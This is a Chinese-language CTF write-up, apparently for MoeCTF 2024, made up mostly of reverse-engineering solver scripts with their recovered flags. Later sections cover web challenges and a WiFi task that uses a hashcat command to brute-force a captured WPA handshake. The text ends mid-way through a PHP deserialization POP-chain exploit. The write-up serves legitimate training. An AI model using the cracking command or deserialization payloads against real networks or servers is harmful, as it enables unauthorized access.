cipher=[0,1,60,2,-20,6,-25,0,1,60,2,-20,6,-27,0,1,60,2,-20,6,-33,0,1,60,2,-20,6,-31,0,1,60,2,-20,6,-50,0,1,60,2,-20,6,-36,0,1,60,2,-20,6,-39,0,1,60,2,-20,6,-24,0,1,60,2,-20,6,-52,0,1,60,2,-20,6,-29,0,1,60,2,-20,6,-52,0,1,14,2,5,6,-64,0,1,14,2,5,6,-58,0,1,14,2,5,6,-63,0,1,14,2,5,6,-52,0,1,14,2,5,6,-90,0,1,14,2,5,6,-39,0,1,14,2,5,6,-43,0,1,14,2,5,6,26,0,1,14,2,5,6,25,0,1,14,2,5,6,-49,0,1,14,2,5,6,-64,0,1,10,2,5,6,-51,0,1,10,2,5,6,25,0,1,10,2,5,6,-45,0,1,10,2,5,6,-55,0,1,10,2,5,6,-47,0,1,10,2,5,6,24,0,1,10,2,5,6,-41,0,1,10,2,5,6,-60,0,1,10,2,5,6,22,0,1,10,2,5,6,-40,0,1,10,2,5,6,-60,0,2,14,2,10,6,-15,0,2,14,2,10,6,50,0,2,14,2,10,6,-51,0,2,14,2,10,6,-31,0,2,14,2,10,6,50,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,51,0,2,14,2,10,6,-17]

print(cipher)
storage=[]
flag=""
f="0123456789abcdefghijklmnopqrstuvwxyz_+=\[!\]#$%^&*ABCDEFGHIJKLMNOP@QRSTUVWXYZ`}{\|\"';:?/ \^,.~"
test=""
t=0
while True:
test = flag+f[t]
index=0
i=0
sum=0
store=0
while i<len(cipher):
k=cipher[i]
i=i+1
if k==0:
store = (ord(test[index])^202)+32
index += 1
elif k==1:
store ^= cipher[i]

i=i+1
elif k==2:
store += cipher[i]
i=i+1
elif k==3:
store &= cipher[i]

i=i+1
elif k==4:
store <<= cipher[i]
i=i+1
elif k==5:
store |= cipher[i]

i=i+1
elif k==6:
if store==cipher[i] or store==cipher[i]+256://可能出现互补的情况
sum=sum+1
if sum==len(test):
flag=flag+f[t]
print(flag)
t=0
break
else:
t+=1
break
if '}' in flag:
break

image-20240821154523195

直接逆向的脚本存在一定的侥幸,脚本中没用到&和|,不然异或不了

其中要特别关注的是,操作码存在在数组中的位置是奇偶交替的,并在每次输出flag之后更新,我在脚本中添加了变量f2来适应这种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
cipher=[0,1,60,2,-20,6,-25,0,1,60,2,-20,6,-27,0,1,60,2,-20,6,-33,0,1,60,2,-20,6,-31,0,1,60,2,-20,6,-50,0,1,60,2,-20,6,-36,0,1,60,2,-20,6,-39,0,1,60,2,-20,6,-24,0,1,60,2,-20,6,-52,0,1,60,2,-20,6,-29,0,1,60,2,-20,6,-52,0,1,14,2,5,6,-64,0,1,14,2,5,6,-58,0,1,14,2,5,6,-63,0,1,14,2,5,6,-52,0,1,14,2,5,6,-90,0,1,14,2,5,6,-39,0,1,14,2,5,6,-43,0,1,14,2,5,6,26,0,1,14,2,5,6,25,0,1,14,2,5,6,-49,0,1,14,2,5,6,-64,0,1,10,2,5,6,-51,0,1,10,2,5,6,25,0,1,10,2,5,6,-45,0,1,10,2,5,6,-55,0,1,10,2,5,6,-47,0,1,10,2,5,6,24,0,1,10,2,5,6,-41,0,1,10,2,5,6,-60,0,1,10,2,5,6,22,0,1,10,2,5,6,-40,0,1,10,2,5,6,-60,0,2,14,2,10,6,-15,0,2,14,2,10,6,50,0,2,14,2,10,6,-51,0,2,14,2,10,6,-31,0,2,14,2,10,6,50,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,50,0,2,14,2,10,6,-35,0,2,14,2,10,6,51,0,2,14,2,10,6,-17]
cipher=cipher[::-1]
# print(cipher)
i=0
f=0
f1=0
store=0
flag=""
storage=[]
f2=1
while i<len(cipher):
k=cipher[i]
i += 1
if k==6:
if (i-1)%2==f2:
store=cipher[i-2]
else:
pass
elif k == 1:
if (i-1)%2==f2:
store ^= cipher[i-2]
else:
pass
elif k==2:
if (i-1)%2 == f2:
store -= cipher[i-2]
else:
pass
elif k==3:
if (i-1)%2 == f2:
store &= cipher[i-2]
else:
pass
elif k==4:
if (i-1)%2 == f2:
store >>= cipher[i-2]
else:
pass
elif k==5:
if (i-1)%2 == f2:
store |= cipher[i-2]
else:
pass
elif k==0:
if (i - 1) % 2 == 1-f2:
f2=1-f2
character=(store-32)^202
if character < 0:
flag+=chr(character+256)
print(flag[::-1])
else:
flag+chr(character)
else:
pass
else:
pass

image-20240821154850378

就复杂度来说肯定是脚本二更好

sm4

直接将解密函数的栈内数据改成enc的数据,加密的时候注意输入48位,这样才能解密成功

更简单的方法是将汇编的待解密的数据地址直接指向enc

image-20240821172252368

改成A0是因为在栈中,enc的地址是-100h

image-20240821172330691

此时只需要将A0h-100h相对地址算出来,发现是负的就再+100h,结果就是A0,所以改成A0自然就指向enc的地址了

patch完之后要进行保存edit->patch program->apply patches

现在再直接进行调试,特别要注意随意输入也要48位

image-20240821173419530

moeprotector

先upx脱壳,比较简单就不说了,然后用ida打开

查看流程图

image-20240823100632938

可以看到有一个try语句,正常不产生错误是往左边走,那就一直在左边循环,但是很明显可以发现,我们得往右边走,那就得触发except语句,看到左边的逻辑其实是对输入的数字做除法运算,那就输入的除数为0,就可以触发异常,注意在右边提前下一个断点,不然走太快

image-20240823101409478

输入之后会有报错,这个报错表示异常触发,直接点确定,然后再点f9

image-20240823101457865

出现异常怎么处理的选择,我们需要选择第一个,也就是把异常抛给程序

image-20240823101534553

可以看到已经在我之前下的断点处停了下来,接着直接f8,慢慢下去

image-20240823101640381

发现需要输入了,那就输入57个’a’,至于为什么是57个,其实你按流程图走到最后,会发现

image-20240823101739542

这边再循环比较,所以byte_883658数组中存的大概率就是密文了,进去看一下刚好57位,所以上面输入57个’a’,接着调试发现直接报

image-20240823102051163

被反调试了,在调试前选择插件

image-20240823102223580

然后接着去调试,发现这次没有报错

一步步调试下去

image-20240823102414825

这一部分没进行加密操作

image-20240823102443328

这一部分进行了加密操作,大致流程是对明文进行每4位的加密,因为明文是57位,所以最后一位在单独加密,大胆猜测所有位都和最后一位的加密的方式相同,所以按最后一位来

之后还有两处和上面差不多的加密的方式,我这边直接贴图就不详细分析了

第二处

image-20240823102657928

第三处

image-20240823102719960

所以整个加密流程是这样的

1
2
3
1、((0x15 + i)^cipher[i])+0x14=cipher[i]
2、((0x1A + i)^cipher[i])+0x14=cipher[i]
3、((0x19 + i)^cipher[i])+0x14=cipher[i]

写脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cipher=[  0xC7, 0xC4, 0xC9, 0xCE, 0xC2, 0xD1, 0x8B, 0x66, 0x6B, 0x8D,
0xB0, 0x45, 0xF9, 0x84, 0xFF, 0xB2, 0x51, 0xAB, 0xB3, 0x4C,
0x33, 0xA8, 0x61, 0x0E, 0xC5, 0x3B, 0x5B, 0xF9, 0x11, 0x82,
0x8B, 0x8E, 0x7A, 0x23, 0x68, 0x7A, 0x21, 0x1F, 0x87, 0x91,
0x46, 0x8D, 0x90, 0xA4, 0xA5, 0xE0, 0x35, 0xD9, 0x41, 0x4E,
0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A, 0x8F]
flag=""
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x19+i)
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x1A+i)
for i in range(0,len(cipher)):
cipher[i] = (cipher[i]-0x14)&0xff^(0x15+i)
for i in range(len(cipher)):
flag += chr(cipher[i])
print(cipher)
print(flag)
//moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

ezMAZE

就是一个迷宫一样的东西,输入符合条件的wasd,给你flag

image-20240823211529230

switch就是在不断的循环检测你输入的wasd字符串符不符合要求

image-20240823211606311

然后根据这个函数加上你之前输入的wasd字符串来计算flag,将flag中间的数字替换成你计算出来的数字

这题直接逆有点不现实,所以要考虑爆破,在爆破中简单加一点回溯的机制就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <stdio.h>
unsigned int cipher[]={0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xBF, 0xFF, 0xEA, 0xA8, 0xA4, 0x92, 0x4F, 0xFF, 0xFF, 0xFF,
0x80, 0x00, 0x3D, 0x14, 0x94, 0x92, 0xB8, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xBB, 0xDA, 0x1F, 0x29, 0x7B, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xFB, 0xDA, 0xDD, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xDA, 0xDC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0xB8, 0x42, 0x1F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF,
0xC0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xFF,
0xDF, 0xFF, 0xF8, 0x7C, 0x3D, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF,
0xC0, 0x00, 0x3B, 0xFD, 0xBC, 0x00, 0x03, 0x00, 0x3E, 0x1F,
0xFF, 0xFF, 0xB8, 0x7C, 0x7F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0xBF, 0x7D, 0xBD, 0x29, 0x7B, 0xFF, 0xBE, 0xDF,
0xFF, 0xFF, 0x98, 0x7C, 0x3F, 0xFF, 0xFB, 0xFF, 0xBE, 0xDF,
0x80, 0x00, 0x4F, 0xFF, 0xF8, 0x00, 0x02, 0x00, 0x3E, 0xDF,
0xBF, 0x7F, 0x6F, 0xFF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFE, 0xDF,
0x96, 0xAB, 0x60, 0x00, 0x08, 0x00, 0x02, 0x01, 0xFE, 0xDF,
0x96, 0xAB, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFE, 0xDF,
0x95, 0x4B, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFE, 0xDF,
0x95, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAA, 0x96, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x92, 0x57, 0x7F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xF6, 0xDF,
0x92, 0x94, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x06, 0xDF,
0x8A, 0x4B, 0x77, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFE, 0xDF,
0xAE, 0xD5, 0x70, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x0E, 0xDF,
0x95, 0x4A, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xEE, 0xDF,
0x8A, 0x4A, 0x4A, 0x50, 0xEC, 0x00, 0x03, 0xFF, 0xEE, 0xDF,
0xBF, 0x7F, 0x7F, 0xFF, 0xE1, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0xFF, 0xFF, 0xF5, 0x5D, 0x7F, 0xFF, 0xFF, 0xFF, 0xEE, 0xDF,
0x80, 0x00, 0x38, 0xD5, 0x35, 0x2A, 0x98, 0x00, 0x0E, 0xDF,
0xBF, 0xFF, 0xBD, 0x51, 0x2F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xFF, 0xFC, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xC0, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xAF, 0xFF, 0xFF, 0xDF, 0x7D, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xA0, 0x00, 0x3F, 0xDF, 0x7C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xBF, 0xFF, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xBC, 0x8B, 0xBF, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xA9, 0x24, 0x9F, 0xDF, 0x7F, 0xFF, 0xFB, 0xFF, 0xFE, 0x5F,
0xB2, 0xA1, 0xCF, 0xDF, 0x78, 0x00, 0x02, 0x00, 0x03, 0x5F,
0xB1, 0x52, 0xEF, 0xDF, 0xFB, 0xFF, 0xFE, 0xFF, 0xFB, 0x5F,
0xAA, 0x22, 0xE0, 0x00, 0x08, 0x00, 0x02, 0x01, 0xF8, 0x5F,
0xBD, 0x29, 0xFF, 0xFF, 0xEF, 0xFF, 0xFB, 0xFD, 0xFF, 0xDF,
0xB2, 0x52, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x01, 0xFF, 0xDF,
0xB4, 0x94, 0xB7, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x4A, 0xB0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x5F, 0xFF, 0xEF, 0xFF, 0xFB, 0xFF, 0xFE, 0xDF,
0xB2, 0x54, 0xD0, 0x00, 0x0C, 0x00, 0x03, 0x00, 0x00, 0xDF,
0xB2, 0x52, 0x57, 0xFF, 0xFD, 0xFF, 0xFF, 0x7F, 0xFF, 0xDF,
0xB2, 0x91, 0x30, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0xDF,
0xB0, 0x89, 0x7F, 0xFF, 0xFF, 0xFF, 0xF8, 0x7F, 0xFE, 0xDF,
0xBC, 0x91, 0x10, 0xFF, 0xE0, 0x00, 0x03, 0xFF, 0xFE, 0xDF,
0x80, 0x00, 0x00, 0x00, 0x0D, 0xFF, 0xFE, 0x94, 0x8A, 0x5F,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
int migong(int a1,int a2){//v5,v4
unsigned __int8 v3;
if ( a1 > 80 || a2 > 56 || a1 < 1 || a2 < 1 ){
return 1;
}
v3 = cipher[10 * a2 - 10 + (a1 - 1) / 8];//a2 (1,56) a1 (1,80) 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
cipher[10 * a2 - 10 + (a1 - 1) / 8] = (1 << (7 - (a1 - 1) % 8)) | v3;
return ((int)v3 >> (7 - (a1 - 1) % 8)) & 1;
}
int main(){
printf("%s","M0EC7F-2024 ezMaze\n");
printf("%s","ohno I'v stuck in a M4Z3... h3lp me (use w,a,s,d)\n");
int v5 = 2;
int v4 = 2;
int q=0;
printf("%s","please input the path sequence...\n");
char mi[1176];
char se[]={'a','d','s','w'};
while(q<1176){
int flag=0;

for(int i=0 ;i<4;i++){
char v7 = se[i];
switch(v7){
case 'a':
if (v5<=1 || (unsigned int)migong(v5-1,v4)){

}
else{
--v5;
flag=1;
}
break;
case 'd':
if (v5>=80 || (unsigned int)migong(v5+1,v4)){

}
else{
++v5;
flag=1;

}
break;
case 's':
if (v4>=56 || (unsigned int)migong(v5,v4+1)){

}
else{
++v4;
flag=1;

}
break;
case 'w':
if (v4<=1 || (unsigned int)migong(v5,v4-1)){

}
else{
--v4;
flag=1;

}
break;
default:
printf("%s","you can only input w,a,s,d\n");
break;

}
if(flag==1){
printf("%c",se[i]);
mi[q]=se[i];
q=q+1;
break;
}
}
if(q==960){//简单的回溯机制,调整爆破顺序
se[0]='a';
se[1]='s';
se[2]='w';
se[3]='d';
}
}
printf("\nv5=%d,v4=%d",v5,v4);
return 0;
}



得到wasd字符串去计算flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(){
__int64 v3=0;

char s[]="sddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdsdssddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdddwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwddddddddddddddddwwwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwddddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddssssaaaaaaaaaassdddddddssaaaaaassddddddddddddssaaaaaaaaaaaassdddddddddddsssssaaaaaaaaaaaaaassaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssssaaaaaaaaaaaaaaaassddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassaaaaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwawawwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaaaasssssssssssssssssssssssssddddddddddddddddddddddddddddddddddwddddddddddddddddddwdddwwwdddddddddddddddwwaaaaaaaaaaaaaaawwddddddwwaaaaaaawwddddddddddddddssdddwwwawwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwwwwwwwwwwwwwwwwwwwwdddssssssssssssssssssssssssssssssssssssssssssss";
printf("%d",1*s[1]);
for(int i=0;i<1176;++i){
v3 += i*3113131*s[i]+i*i+1131796;
}
printf("the_%llu_amazing_maze!!}", v3);
return 0;
}

//moectf{the_18446744024826406994_amazing_maze!!}

Just-Run-It

第一段flag是exe直接脱壳后ida逆向

image-20240826073019417

6257396c5933526d657a55355a6d45

第二段flag直接去Linux下运行elf的文件

image-20240826073140056

324d444a6a4c5459794e4745744e44

第三段flag用android14的系统去运行apk

image-20240826073643538

42694e7930345954566a4c57557a4e

第四段flag去github查看有没有riscv架构的docker镜像

找到了镜像https://github.com/DavidBurela/riscv-emulator-docker-image去安装直接运行文件

image-20240826073519280

[87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]转字符WU1NzRjZjliOX0=

第四段flag用android14的系统去运行apk

flag=moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

SMCProMax

题目提示SMC,意思就是在程序运行过程中程序会更改,查看ida

image-20240828163909717

发现关键函数点进去查看

image-20240828163935550

发现在对内存地址的值进行异或0x90的操作,我们就去查看那边的内存

image-20240828164040860

发现确实有一串奇怪的数字

两种解法

解法一:动调,观察内存中的变化

image-20240828164126915

下个断点直接调试,再去查看内存

image-20240828164209187

发现确实变了

image-20240828164228984

按c转汇编,之后就右键,创建函数

反汇编之后得到

image-20240828165455573逻辑就是每四个字节按条件循环32轮之后与!=的密文进行比较

image-20240828164728751

这边要注意在第一行

image-20240828165513608

第23个字节xor了12所以后面得异或回去,直接写脚本

爆破的c脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
int main(){
int cipher;
for(int i=0;i<0xffffffff;i++){
cipher = i;
for(int i1=0;i1<32;i1++){
if(cipher>0){
cipher *=2;
}
else{
cipher = cipher*2;
cipher = cipher^0xC4F3B4B3;
}
}
if (cipher==2053092702){
printf("flag1:%x\n",i);
}
else if(cipher==-490481854){
printf("flag2:%x\n",i);
}
else if(cipher==-1704322843){
printf("flag3:%x\n",i);
}
else if(cipher==-1418679088){
printf("flag4:%x\n",i);
}
else if(cipher==86802781){
printf("flag5:%x\n",i);
}
else if(cipher==987171458){
printf("flag6:%x\n",i);
}
else if(cipher==965631658){
printf("flag7:%x\n",i);
}
else if(cipher==264545711){
printf("flag8:%x\n",i);
}
else if(cipher==-1342106783){
printf("flag9:%x\n",i);
}
else if(cipher==-825370173){
printf("flag10:%x\n",i);
}

}

return 0;
}

flag解析脚本

1
2
3
4
5
6
7
8
9
from libnum import *

plaintext=[0x63656f6d,0x797b6674,0x6d5f7530,0x5f743575,0x776f6e6b,0x4876765f,0x315f7441,0x535f5f73,0x5f5f434d,0x7d77306e]
flag=b""
for i in range(0,len(plaintext)):
if i == 5:
plaintext[i] ^= 0x12000000 #和第23个字节异或0x12
flag += n2s(plaintext[i])[::-1]
print(flag)

解法二就是写idc脚本

1
2
3
4
5
6
7
8
static xor(){
auto addr = 0x00401062;
auto i = 0;
for(i=0;addr+i<0x00401427;i++){
PatchByte(addr+i,Byte(addr+i)^0x90);
}

}

在文件选项那边选择脚本命令输入这个脚本点run就可以改对应的内存,之后的操作和解法一一样了

xor(大嘘)

直接ida分析

image-20240829103125927

可以知道byte中是数组而sub是加密函数,我们追踪一下sub函数

image-20240829103136846

看到只是简单的异或但是其实没有那么简单,我们在return下个断点

image-20240829103313559

执行下去发现并没有直接的return,发现了两个关键的函数,我们去查看第二个关键的函数

image-20240829103411149

可以看到是其实是一个魔改过的tea加密算法,接着往下追踪

image-20240829103518670

tea加密完之后还会去一个新的函数中,我们接着追踪一下

image-20240829103601900

发现进行一系列的初始化操作之后又进入了一个新的函数,我们接着点击这个函数

image-20240829103659734

发现其实就是每位的循环异或所以整个加密的流程就是

1
循环异或->tea->循环异或

我们解密只要反过来就行

先循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cipher=[
0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C,
0x12, 0x52, 0x59, 0x03, 0x6D, 0x52, 0x04, 0x04, 0x0B, 0x33,
0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04,
0x5B, 0x5A]
key=[0x2b,0xf2,0x82,0x41,0x48,0x74,0x9d,0xaa,0x7e,0x4c,0xda,
0x4,0x8,0x2c,0xa8,0x52,0x97,0x77,0xb7,0x3b,0x16,0x2d,0xd4,0xfc
,0x60,0xbe,0xc4,0xb6,0x73,0x19,0x94,0x87]
for i in range(len(cipher)):
cipher[i] ^= key[i]
print(hex(cipher[i]))

# 0x17
# 0xff
# 0x87
# 0x5e
# 0x78
# 0x1a
# 0x83
# 0x9a
# 0x7a
# 0x70
# 0xc8
# 0x56
# 0x51
# 0x2f
# 0xc5
# 0x0
# 0x93
# 0x73
# 0xbc
# 0x8
# 0x9
# 0x1e
# 0xc3
# 0xc7
# 0x77
# 0xa4
# 0xef
# 0xb1
# 0x26
# 0x1d
# 0xcf
# 0xdd

再tea解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
printf("%x,%x\n",v0,v1);
}

}
void decrypt(uint32_t* v, uint32_t* k)
{
uint32_t delta = 0x9e3779b9;
uint32_t v0 = v[0], v1 = v[1], sum = (delta * 32) & 0xffffffff, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
printf("%x\n%x\n",v0,v1);
}


int main()
{
uint32_t array[] = {0x5e87ff17, 0x9a831a78, 0x56c8707a, 0x00c52f51, 0x08bc7393, 0xc7c31e09, 0xb1efa477, 0xddcf1d26} ,array1[]={0x080f0709,0x0b0e3d0e};
uint32_t key[4] = {0x6c6c6568, 0x6f6d5f6f, 0x66746365, 0x34323032};
for (int i = 0; i < 8; i += 2)
{
uint32_t temp[2];
temp[0] = array[i];
temp[1] = array[i + 1];
decrypt(temp, key);

// printf("%c%c%c%c%c%c%c%c", *((char*)&temp[0] + 0), *((char*)&temp[0] + 1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));
// //更新data
}
return 0;
}
// f090a05
// 716391b
// 72b140a
// 55576f5c
// 6331c1b
// 3006311a
// 39100d04
// 49535546

再循环异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cipher=[0x05,0x0a,0x09,0x0f,0x1b,0x39,0x16,0x07,
0x0a,0x14,0x2b,0x07,0x5c,0x6f,0x57,0x55,
0x1b,0x1c,0x33,0x06,0x1a,0x31,0x06,0x30,
0x04,0x0d,0x10,0x39,0x46,0x55,0x53,0x49]
key=[
0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x6D, 0x6F, 0x65, 0x63,
0x74, 0x66, 0x32, 0x30, 0x32, 0x34
]
flag=""
for i in range(len(cipher)):
flag += chr(cipher[i]^key[i%len(key)])

print(flag)
#moectf{how_an_easy_junk_and_tea}

特工luo: 闻风而动

image-20240928153600417

先根据提示用hashcat去爆破wifi密码

首先需要通过 Hashcat 网站将 cap 文件转换为 hc22000 格式

网站地址:https://hashcat.net/cap2hashcat/index.pl

再进行hashcat的爆破

1
hashcat -m 22000 <path_to_hash_file> -a 3 -1 <custom_charset> ?1?1?1?1?1?1

这里,-m 22000 是用于 WPA/WPA2 的模式,-1 <custom_charset> 是你的自定义字符集,?1?1?1?1?1?1 表示你想要尝试的密码长度(6个字符)。根据需要调整长度和字符集。

image-20240928154413058

直接爆破出来密码pzyisxnn,运行keygen程序能得到服务器的密码4g3n71u0

image-20240928160745438

v4明文

v14密文

v5明文长度0x42(66)

image-20240928161558218

v7长度,v14密文

image-20240928161715848

a1密文,a2长度,a3密钥,a4=1

image-20240928162011430

密钥生成算法

WEB

弗拉格之地的入口

打开换进提示爬虫,猜测可能要目录扫描,根据多年经验先访问robots.txt,发现路由

image-20240811130137537

直接去访问得到flag

image-20240811130204178

ez_http

简单的http入门

image-20240811130815593

先用post

image-20240811130840758

提示传参

image-20240811130858122

再用get传参

image-20240811130950093

改变refere

image-20240811131025595

去添加cookie

image-20240811131100792

去改变浏览器

image-20240811131132817

用本地去访问

image-20240811131208048

最后得到flag

ProveYourLove

师傅们整活,首先抓包再说,然后爆破400次就可以了

image-20240811133332469

image-20240811133340374

弗拉格之地的挑战

image-20240811202547730

根据提示去访问路由,查看源代码

image-20240811202616554

得到flag1=bW9lY3Rm,接着去访问下一个路由

image-20240811202820521

查看响应得到flag2=e0FmdEV,接着去访问下一个提示的路由

image-20240811203634023

获得flag3=yX3RoMXN,去访问下一个路由

首先修改referer,然后再去js代码审计

image-20240811204047735

发现实质是用post方法去传参数

image-20240811204126082

得到flag4=fdFVUMHJ,再去访问下一个路由

接着js审计

image-20240811204259561

image-20240811204329417

得到flag5=fSV90aDF,再去访问下一个路由

image-20240811204546021

得到flag6=rZV9VX2t,去访问最后一个路由,终于要结束了nnd

image-20240811204727577

得到flag7=rbm93X1dlQn0=

所以flag=bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

去base64解密一下得到moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

pop moe

一题反序列化题目,好久没做了,果然还是生疏了,也遇到了新的知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

class class000 {
private $payl0ad = 1;
protected $what;//new class001
public function __construct()
{
$this->what=new class001();
$this->what->a=new class002();


$this->what->payl0ad="dangerous";
}
public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
